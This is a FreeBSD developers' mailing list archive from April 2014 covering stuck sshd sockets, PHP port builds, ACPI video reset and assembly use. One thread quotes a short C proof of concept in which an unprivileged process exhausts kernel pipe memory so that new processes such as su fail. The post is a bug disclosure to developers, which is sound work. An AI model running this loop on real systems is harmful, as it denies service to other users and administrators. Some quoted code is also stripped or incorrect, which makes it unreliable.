bits=256 verify=NO); Mon, 7 Apr 2014 12:12:04 +0100 (BST) Date: Mon, 07 Apr 2014 12:12:03 +0100 From: Karl Pielorz To: John Baldwin Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <2C5B099DE2229F0E8D82D8C8@Mail-PC.tdx.co.uk> In-Reply-To: <201404041613.09808.jhb@freebsd.org> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404031614.40951.jhb@freebsd.org> <18B08A7E8585B0C4A89A05E6@study64.tdx.co.uk> <201404041613.09808.jhb@freebsd.org> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Apr 2014 11:12:12 -0000 --On 04 April 2014 16:13 -0400 John Baldwin wrote: > Ugh, ok. Is this easy to reproduce? Ok, yes - I can reproduce this now. I scanned the new host I setup with our security scanning software. This generated a number of sshd caught in 'urdlck' - and a large number of sockets that end up as 'CLOSE_WAIT' I'm guessing given time these will finally move to 'CLOSED' (it was scanned hours ago and there's still 50+ in CLOSE_WAIT state). As I said originally this can't be the only cause - but it is a cause. So now I can reproduce it - what next? Regards, -Karl From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 7 11:42:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D997EE3D for ; Mon, 7 Apr 2014 11:42:54 +0000 (UTC) Received: from nm20-vm6.bullet.mail.ir2.yahoo.com (nm20-vm6.bullet.mail.ir2.yahoo.com [212.82.96.248]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 33CE515E for ; Mon, 7 Apr 2014 11:42:53 +0000 (UTC) Received: from [212.82.98.53] by nm20.bullet.mail.ir2.yahoo.com with NNFMP; 07 Apr 2014 11:40:03 -0000 Received: from [46.228.39.92] by tm6.bullet.mail.ir2.yahoo.com with NNFMP; 07 Apr 2014 11:40:03 -0000 Received: from [127.0.0.1] by smtp129.mail.ir2.yahoo.com with NNFMP; 07 Apr 2014 11:40:03 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.es; s=s1024; t=1396870803; bh=p2P/FlyBpj1u3wE1dFIDxEHmJ/L9dTL23sspqt0aztc=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Date:From:To:Subject:Message-Id:In-Reply-To:References:X-Mailer:Disposition-Notification-To:Mime-Version:Content-Type:Content-Transfer-Encoding; b=1YsjeBNUBOAew+qMTkyjEMSTKaSeA+Y/ZtGnU5SDXeoPs1XvTmC7WC8f6lRKh7eKzNNKpBQk2e4A/vkhNUkARkKl0p8SH4k+qnfOBBiQApGBO1fRLOJq3ZtM0IWXQAjOkBaDLYMkQlhIyOXZfQWYDghpwlwDTFS/M3F/SGCxxhc= X-Yahoo-Newman-Id: 496745.288.bm@smtp129.mail.ir2.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: bSc9QlsVM1kJCbCDhcor5nBSRDywLXcuNnRBbTyNDOc0ndG hl0MRF2rxzBKe6mkJ6nM47Dqoaq1teJSvd8uKX9TBccTHAn0Jw.nkXiAouFk xQZO7acbSTIKBm0c5G5TMd7WWzvdM3S_TWJ_6T3BaI.DK34nIblNbH3ZTVdN oDze5HKjJQL87qOEl4fm40fBlUZUM_l7zoxhtcDPDvVmx4b1N8VTkoFHeJHV OqZMm1WTvLLEBUREAppWW46idjNt5c5vKHRTawjFDr4c0Gr5q_8cNjxCoEjx szIDDFX3ERZYZS_QY75hi62Uj3EPmEe2aqk.DjlsqnCSGvpNZaA2gXWqD4am iBeaezos0muo55o7_tdCkIi_NbCnZMbNtcfq8e5ZB6B4TiPowW3zGHYr_3RD s9.gJvYfXSd8KYVGzkMIjInTYGUBRMuPbTBfAhQmVKjIEtXMmkql5jdge_jR DiImwHQY27uRNtVAe5tqDGZvonfYAgZL2T6dPCpJIbcXjuXAEjMeiQ8loSQ- - X-Yahoo-SMTP: mX392iiswBAeJNdO_s.EW62LZDJR X-Rocket-Received: from camibar.emorras.eu (emorrasg@83.173.184.241 with plain [63.250.193.228]) by smtp129.mail.ir2.yahoo.com with SMTP; 07 Apr 2014 11:40:03 +0000 UTC Date: Mon, 7 Apr 2014 13:42:35 +0200 From: Eduardo Morras To: freebsd-hackers@freebsd.org Subject: Re: pipe() resource exhaustion Message-Id: <20140407134235.eed2e9555c76f5834d991bfa@yahoo.es> In-Reply-To: References: X-Mailer: Sylpheed 3.3.1 (GTK+ 2.24.22; amd64-portbld-freebsd9.2) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Apr 2014 11:42:55 -0000 On Mon, 07 Apr 2014 13:02:22 +0200 Ivan Voras wrote: > Hello, > > Last time I mentioned this it didn't get any attention, so I'll try > again. By accident (via a buggy synergy server process) I found that a > simple userland process can exhaust kernel pipe memory > (kern.ipc.pipekva sysctl) which as a consequence has that new > processes which use pipe cannot be started, which includes "su", by > which an administrator could kill such a process. > > The description is simple enough, I don't think a proof of concept is > really needed, but here it is: > > step 1: > run this as a normal, non-root user: > > #include > #include > #include > #include > #include > #include > > int main() { > int fd[2]; > int is_error = 0; > > while (1) { > if (pipe(fd) != 0) { > if (!is_error) { > printf("%s\n", strerror(errno)); > is_error = 1; > } > } > } > } > > step 2: > try and fail to run "su" in another terminal: > > $ su > Password: > su: pipe: Cannot allocate memory > > I'm sure this has other implications as well :) > Each time you call pipe(fd) inside the while, you create a new pipe. Perhaps you wanted to say: #include #include #include #include #include #include int main() { int fd[2]; int is_error = 0; if (pipe(fd) != 0) { if (!is_error) { printf("%s\n", strerror(errno)); is_error = 1; } } while (1) { /* Do whatever you want with pipe fd */ } close(fd); } Synergy server process, as you said, is buggy if it does things as your example program. > The problem isn't present on all systems: on some it looks like the > limit on fd's is reached faster than the limit on pipekva. Of 5 > machines I tested, 3 running 9.x and 2 running 10.x, both machines > running 10.x exhaust pipekva before fd's, while only one machine > running 9.x did that. Neither machine had increased fd limits above > the autotuned defaults. > > Anecdotally, a machine which was running 9.x didn't experience this > problem with synergys, but it did when upgraded to 10.x with no change > to sysctl configuration. Often short-live buggy process don't show any problems because they exit before they happen. --- --- Eduardo Morras From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 7 12:25:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F1B987F8 for ; Mon, 7 Apr 2014 12:25:33 +0000 (UTC) Received: from mail.feld.me (mail.feld.me [66.170.3.6]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client CN "mail.feld.me", Issuer "Gandi Standard SSL CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 947C87C7 for ; Mon, 7 Apr 2014 12:25:33 +0000 (UTC) Received: from mail.feld.me (mail.feld.me [66.170.3.6]); by mail.feld.me (OpenSMTPD) with ESMTP id a09eda8a; for ; Mon, 7 Apr 2014 07:25:24 -0500 (CDT) Received: from feld@feld.me by mail.feld.me (Archiveopteryx 3.2.0) with esmtpsa id 1396873523-54438-54435/5/1; Mon, 7 Apr 2014 12:25:23 +0000 Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8; format=flowed Date: Mon, 7 Apr 2014 07:25:22 -0500 From: Mark Felder To: freebsd-hackers@freebsd.org Subject: Re: pipe() resource exhaustion In-Reply-To: References: Message-Id: X-Sender: feld@FreeBSD.org User-Agent: Roundcube Webmail/0.9.5 Sender: feld@feld.me X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Apr 2014 12:25:34 -0000 On 2014-04-07 06:02, Ivan Voras wrote: > Hello, > > Last time I mentioned this it didn't get any attention, so I'll try > again. By accident (via a buggy synergy server process) I found that a > simple userland process can exhaust kernel pipe memory > (kern.ipc.pipekva > sysctl) which as a consequence has that new processes which use pipe > cannot be started, which includes "su", by which an administrator could > kill such a process. > That's a pretty painful local denial of service :( From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 7 15:57:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4A3FF91F for ; Mon, 7 Apr 2014 15:57:33 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 23A2470 for ; Mon, 7 Apr 2014 15:57:33 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 149ADB946; Mon, 7 Apr 2014 11:57:32 -0400 (EDT) From: John Baldwin To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Date: Mon, 7 Apr 2014 11:48:10 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20130906; KDE/4.5.5; amd64; ; ) References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404041613.09808.jhb@freebsd.org> <2C5B099DE2229F0E8D82D8C8@Mail-PC.tdx.co.uk> In-Reply-To: <2C5B099DE2229F0E8D82D8C8@Mail-PC.tdx.co.uk> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201404071148.10157.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Mon, 07 Apr 2014 11:57:32 -0400 (EDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Apr 2014 15:57:33 -0000 On Monday, April 07, 2014 7:12:03 am Karl Pielorz wrote: > > --On 04 April 2014 16:13 -0400 John Baldwin wrote: > > > Ugh, ok. Is this easy to reproduce? > > Ok, yes - I can reproduce this now. I scanned the new host I setup with our > security scanning software. > > This generated a number of sshd caught in 'urdlck' - and a large number of > sockets that end up as 'CLOSE_WAIT' I'm guessing given time these will > finally move to 'CLOSED' (it was scanned hours ago and there's still 50+ in > CLOSE_WAIT state). > > As I said originally this can't be the only cause - but it is a cause. > > So now I can reproduce it - what next? Ok, do you have a matching /usr/src on the boxes in question? If so, please do this: cd /usr/src/lib/libc make DEBUG_FLAGS=-g all install cd /usr/src/lib/libthr make DEBUG_FLAGS=-g all install cd /usr/src/secure/lib/libssh make DEBUG_FLAGS=-g all install cd /usr/src/secure/usr.sbin/sshd make DEBUG_FLAGS=-g all install sh /etc/rc.d/sshd restart Then re-run the scan to get a stuck sshd. Once that happens, please attach to the top-most stock sshd (the one in "urdlck") with gdb (gdb /usr/sbin/sshd ) and run 'bt' and reply with the output. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 7 16:02:03 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 291B2C08 for ; Mon, 7 Apr 2014 16:02:03 +0000 (UTC) Received: from mail-oa0-x232.google.com (mail-oa0-x232.google.com [IPv6:2607:f8b0:4003:c02::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id E3A78150 for ; Mon, 7 Apr 2014 16:02:02 +0000 (UTC) Received: by mail-oa0-f50.google.com with SMTP id i7so6791044oag.37 for ; Mon, 07 Apr 2014 09:02:02 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:content-type; bh=9rQIYQ0wwQHfwr0IWuq9FnL29tyGCUSxKu7x5dRARKM=; b=NGIZbPMAEMZjqQI0d+ilAdggFJACeQYiUa3calMCTL1tqnz/2xJL5uVAgOo57qh7jo v5jAVMNJeHuoMttdsyokIGgvWmP3uO3JLH0fCF2KSejwka1P0i7AQctqgokOJNyk6dwj IwYszJHRPpC8Akt9eHHMKOgtR8KnPtmpRdkPZ+8RUpXx1OI7FgzbbgF1qV1EebJIECjm hh5yjYVgtRtXqGnUrsXN1HfHGjPsLB1tzG/FkruRi6xO7KU0b80mCWbSTRqG6GqfA/DX Iu0xReoyFKVQp9+V+2AQI1Y1qa+BxavGh5Y3OMM8/VaziO2jwPWiuIRT/3QZdy1ICGl+ O79w== MIME-Version: 1.0 X-Received: by 10.182.107.232 with SMTP id hf8mr1311307obb.75.1396886522127; Mon, 07 Apr 2014 09:02:02 -0700 (PDT) Sender: aled.w.morris@googlemail.com Received: by 10.182.14.35 with HTTP; Mon, 7 Apr 2014 09:02:02 -0700 (PDT) In-Reply-To: References: <20140401001447.1c6013d4@X220.alogt.com> Date: Mon, 7 Apr 2014 17:02:02 +0100 X-Google-Sender-Auth: bDI3DxN9X0n_2UBIQiHSRl0vro0 Message-ID: Subject: Re: despairing with apache httpd + php From: Aled Morris To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Apr 2014 16:02:03 -0000 I got it working! Big thanks to everyone who chipped in - your moral support was most welcome. In the end I stripped out everything I'd tried, so it was basically an out-of-the-box 10.0-RELEASE box with mysql server running, then did: 1. portsnap fetch/update to get /usr/ports up-to-date 2. in ports/www, make install apache22 3. in ports/lang, make install php55 4. in ports/textproc, make install php55-ctype, php55-dom, php55-xml 5. in ports/devel, make install php55-json 6. in ports/databases, make install php55-mysql 7. in ports/www, make install mod_php55, php55-session I think that's about it! Aled On 31 March 2014 17:45, wrote: > > On 31 March 2014 17:14, Erich Dollansky > wrote: > > > >> This is how I have done it. Just get the source, compile and install. > >> But I do not think that it is important to do it like this. You also > >> can do a make install and get it all done in a single step. > > > > > > Compiling php-5.5.10 from source with: > > > > $ sh configure --with-mysql --with-apxs2=/usr/local/apache2/bin/apxs > > $ make > > > > results in a build that can't be installed: > > > > $ sudo make install > > ...blah...blah... > > Warning! dlname not found in /usr/local/apache2/modules/libphp5.la. > > Assuming installing a .so rather than a libtool archive. > > chmod 755 /usr/local/apache2/modules/libphp5.so > > chmod: /usr/local/apache2/modules/libphp5.so: No such file or directory > > apxs:Error: Command failed with rc=65536 > > > > very frustrating! > Indeed. :) > I'm not sure why you're choosing the direction for build install, that you > are. > But if it were me; I'd > > # cd /usr/ports/lang/php55 > # make config > choose the options you wish -- as Apache module for sure > # make > # make install clean > Assuming success... > # cd /usr/ports/www/apache > # make config > You know the drill; choose your favorite options > # make > # make install clean > > Now, I might also mention, there's also > /usr/ports/lang/php55-extensions. This is a bit of a > meta-package that will allow you to pick all your favorite > must-have php extensions up front. But it's usually better to > simply go to each extension' folder/directory, and make(1), and > configure them individually. I only mention this, as you indicated > you were looking to install mediawiki, which, I believe needs (at least) > XML. > > Best wishes, and hope this helps. :) > > --Chris > > > > > Aled > > _______________________________________________ > > freebsd-hackers@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > > To unsubscribe, send any mail to " > freebsd-hackers-unsubscribe@freebsd.org" > > > > From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 7 17:11:40 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from hammer.pct.niksun.com (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) by hub.freebsd.org (Postfix) with ESMTP id 4D367A58; Mon, 7 Apr 2014 17:11:40 +0000 (UTC) Message-ID: <5342DC4B.1010908@FreeBSD.org> Date: Mon, 07 Apr 2014 13:11:39 -0400 From: Jung-uk Kim User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Johannes Meixner , freebsd-hackers@freebsd.org Subject: Re: hw.acpi.reset_video behavior when multiple VGA cards are present References: <20140405071627.GA83459@mx12.chaot.net> In-Reply-To: <20140405071627.GA83459@mx12.chaot.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Apr 2014 17:11:40 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 2014-04-05 03:17:42 -0400, Johannes Meixner wrote: > Hi, > > I've originally posted the following to freebsd-acpi@ in February > but didn't get any replies, so maybe someone here can help me out. > > I've been trying to work out why my ASUS ZenBook can't work > correctly with S3 sleepstates. > > Resume works theoretically like a charm (I suspend with music > playing; the music stops and continues upon wakeup; I can reboot > the system blindly from command line). > > One thing that does not, however, is VGA resume. The screen will > just stay blank. > > So I looked into it a little and realized -- what's the expected > behaviour towards video reset when multiple VGA cards are present > (NVIDIA Optimus) with vgapci0 being the (unusable) NVIDIA board and > vgapci1 the (usable with Xorg, vt(9), KMS etc) Intel one? > > As in, which card does `hw.acpi.reset_video` actually reset the > video on? It tries to call the reset vector of video BIOS. In your configuration, it probably won't do anything at all. Jung-uk Kim -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQEcBAEBAgAGBQJTQtxLAAoJEHyflib82/FGacoIAINToymcwcJzEImiFcx6x8d6 DLwxo0IK1Qh388cJNFqnkR8KgpdPukF7TK/EeDiD1C/ONyvdIdyYMxM50m5KJgpB S+7kh0IgtsnqlSk6zlIWT+kO98U8fhOuvxIQiTmgnEGIbqKZGrx3/SEOUKcXF2BL qhGBUOpwdoXGp45ARKHLeQh/qIZtfBVehPOsHfrGX1iq7PVOarCV7emL0p5rWvEL 3aTbZvFl9HYlGTE85SdItpAcfzURXrqnesXp+HWy55qBR7EG4P+MMpsZ04IR+Ocd eUuq8GjP6Y/m9RP+TDZlAW9c7iqWVl+0+5+awGJ74KYWnOF1XYHT478/XqKtf2Q= =cDkQ -----END PGP SIGNATURE----- From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 7 18:17:55 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C0FD2C3D for ; Mon, 7 Apr 2014 18:17:55 +0000 (UTC) Received: from col0-omc2-s16.col0.hotmail.com (col0-omc2-s16.col0.hotmail.com [65.55.34.90]) by mx1.freebsd.org (Postfix) with ESMTP id A1C4570 for ; Mon, 7 Apr 2014 18:17:55 +0000 (UTC) Received: from COL127-W46 ([65.55.34.72]) by col0-omc2-s16.col0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675); Mon, 7 Apr 2014 11:16:50 -0700 X-TMN: [IvWdPfnqCZu55DC4FPduHaSZxLv/cVdh] X-Originating-Email: [jorgeassembler1@outlook.com] Message-ID: From: Jorge Luis Carvalho Santos To: "freebsd-hackers@freebsd.org" Subject: Assembly continues to be used in the development of FreeBSD? Date: Mon, 7 Apr 2014 21:16:50 +0300 Importance: Normal MIME-Version: 1.0 X-OriginalArrivalTime: 07 Apr 2014 18:16:50.0101 (UTC) FILETIME=[8B7B3E50:01CF528D] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Apr 2014 18:17:55 -0000 According to the book "Complete and Total C" by Herbert Schildt=2C the gene= ral rule is not to use Assembly because it creates too many problems. = = From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 7 19:16:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3282E3F0 for ; Mon, 7 Apr 2014 19:16:34 +0000 (UTC) Received: from mo6-p00-ob.smtp.rzone.de (mo6-p00-ob.smtp.rzone.de [IPv6:2a01:238:20a:202:5300::6]) (using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "*.smtp.rzone.de", Issuer "TeleSec ServerPass DE-1" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id BE9478BE for ; Mon, 7 Apr 2014 19:16:33 +0000 (UTC) X-RZG-AUTH: :JiIXek6mfvEEUpFQdo7Fj1/zg48CFjWjQv0cW+St/nW/auYssS93lf0CF/gM7Q== X-RZG-CLASS-ID: mo00 Received: from britannica.bec.de (ip-2-202-209-65.web.vodafone.de [2.202.209.65]) by smtp.strato.de (RZmta 32.32 DYNA|AUTH) with ESMTPSA id 50034dq37JG7397 (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) for ; Mon, 7 Apr 2014 21:16:07 +0200 (CEST) Received: by britannica.bec.de (sSMTP sendmail emulation); Mon, 07 Apr 2014 21:16:07 +0200 Date: Mon, 7 Apr 2014 21:16:07 +0200 From: Joerg Sonnenberger To: freebsd-hackers@freebsd.org Subject: Re: Assembly continues to be used in the development of FreeBSD? Message-ID: <20140407191607.GB11923@britannica.bec.de> Mail-Followup-To: freebsd-hackers@freebsd.org References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Apr 2014 19:16:34 -0000 On Mon, Apr 07, 2014 at 09:16:50PM +0300, Jorge Luis Carvalho Santos wrote: > According to the book "Complete and Total C" by Herbert Schildt, the > general rule is not to use Assembly because it creates too many > problems. In theory, theory and practise are the same. In practise, they differ. Joerg From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 7 19:35:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 59CAFB37 for ; Mon, 7 Apr 2014 19:35:24 +0000 (UTC) Received: from phk.freebsd.dk (phk.freebsd.dk [130.225.244.222]) by mx1.freebsd.org (Postfix) with ESMTP id 20A51A76 for ; Mon, 7 Apr 2014 19:35:23 +0000 (UTC) Received: from critter.freebsd.dk (unknown [192.168.61.3]) by phk.freebsd.dk (Postfix) with ESMTP id 0CC281591; Mon, 7 Apr 2014 19:29:31 +0000 (UTC) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.14.8/8.14.8) with ESMTP id s37JTUpt014680; Mon, 7 Apr 2014 19:29:31 GMT (envelope-from phk@freebsd.org) To: Jorge Luis Carvalho Santos Subject: Re: Assembly continues to be used in the development of FreeBSD? In-reply-to: From: "Poul-Henning Kamp" References: Content-Type: text/plain; charset=ISO-8859-1 Date: Mon, 07 Apr 2014 19:29:30 +0000 Message-ID: <14679.1396898970@critter.freebsd.dk> Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Apr 2014 19:35:24 -0000 In message , Jorge Luis Carvalho S antos writes: >According to the book "Complete and Total C" by Herbert Schildt, >the general rule is not to use Assembly because it creates too many >problems. Don't feed the troll. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 02:34:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 34146750 for ; Tue, 8 Apr 2014 02:34:34 +0000 (UTC) Received: from jerrymc.net (jerrymc.net [75.75.214.34]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id EF584154A for ; Tue, 8 Apr 2014 02:34:33 +0000 (UTC) Received: from jerrymc.net (localhost [127.0.0.1]) by jerrymc.net (8.14.5/8.14.5) with ESMTP id s382MVQ4077033; Mon, 7 Apr 2014 22:22:31 -0400 (EDT) (envelope-from jerrymc@jerrymc.net) Received: (from jerrymc@localhost) by jerrymc.net (8.14.5/8.14.5/Submit) id s382MVrt077032; Mon, 7 Apr 2014 22:22:31 -0400 (EDT) (envelope-from jerrymc) Date: Mon, 7 Apr 2014 22:22:31 -0400 From: Jerry McAllister To: Jorge Luis Carvalho Santos Subject: Re: Assembly continues to be used in the development of FreeBSD? Message-ID: <20140408022231.GA77004@jerrymc.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.3i Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 02:34:34 -0000 On Mon, Apr 07, 2014 at 09:16:50PM +0300, Jorge Luis Carvalho Santos wrote: > According to the book "Complete and Total C" by Herbert Schildt, the > general rule is not to use Assembly because it creates too many problems. Use higher level compilers where possible. Use assembly/machine code where you have to. It doesn't hurt to know assembly though -- along with use of macros. ////jerry > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 02:41:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 92BCF9EB; Tue, 8 Apr 2014 02:41:13 +0000 (UTC) Received: from jerrymc.net (jerrymc.net [75.75.214.34]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5F1EA15A7; Tue, 8 Apr 2014 02:41:13 +0000 (UTC) Received: from jerrymc.net (localhost [127.0.0.1]) by jerrymc.net (8.14.5/8.14.5) with ESMTP id s382TGgf077049; Mon, 7 Apr 2014 22:29:16 -0400 (EDT) (envelope-from jerrymc@jerrymc.net) Received: (from jerrymc@localhost) by jerrymc.net (8.14.5/8.14.5/Submit) id s382TGb8077048; Mon, 7 Apr 2014 22:29:16 -0400 (EDT) (envelope-from jerrymc) Date: Mon, 7 Apr 2014 22:29:16 -0400 From: Jerry McAllister To: Poul-Henning Kamp Subject: Re: Assembly continues to be used in the development of 